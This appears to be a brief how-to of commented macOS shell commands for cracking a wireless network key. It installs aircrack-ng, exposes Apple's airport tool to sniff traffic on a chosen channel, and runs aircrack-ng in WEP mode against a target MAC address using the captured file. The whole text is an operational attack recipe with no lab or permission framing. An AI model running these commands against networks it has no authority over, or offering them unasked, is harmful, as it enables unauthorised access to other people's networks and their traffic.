//Install Macports.
//Install aircrack-ng:
sudo port install aircrack-ng
//Install the latest Xcode, with the Command Line Tools.
//Create the following symlink:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
//Figure out which channel you need to sniff:
sudo airport -s

sudo airport en1 sniff [CHANNEL]
//New Terminal Window
aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.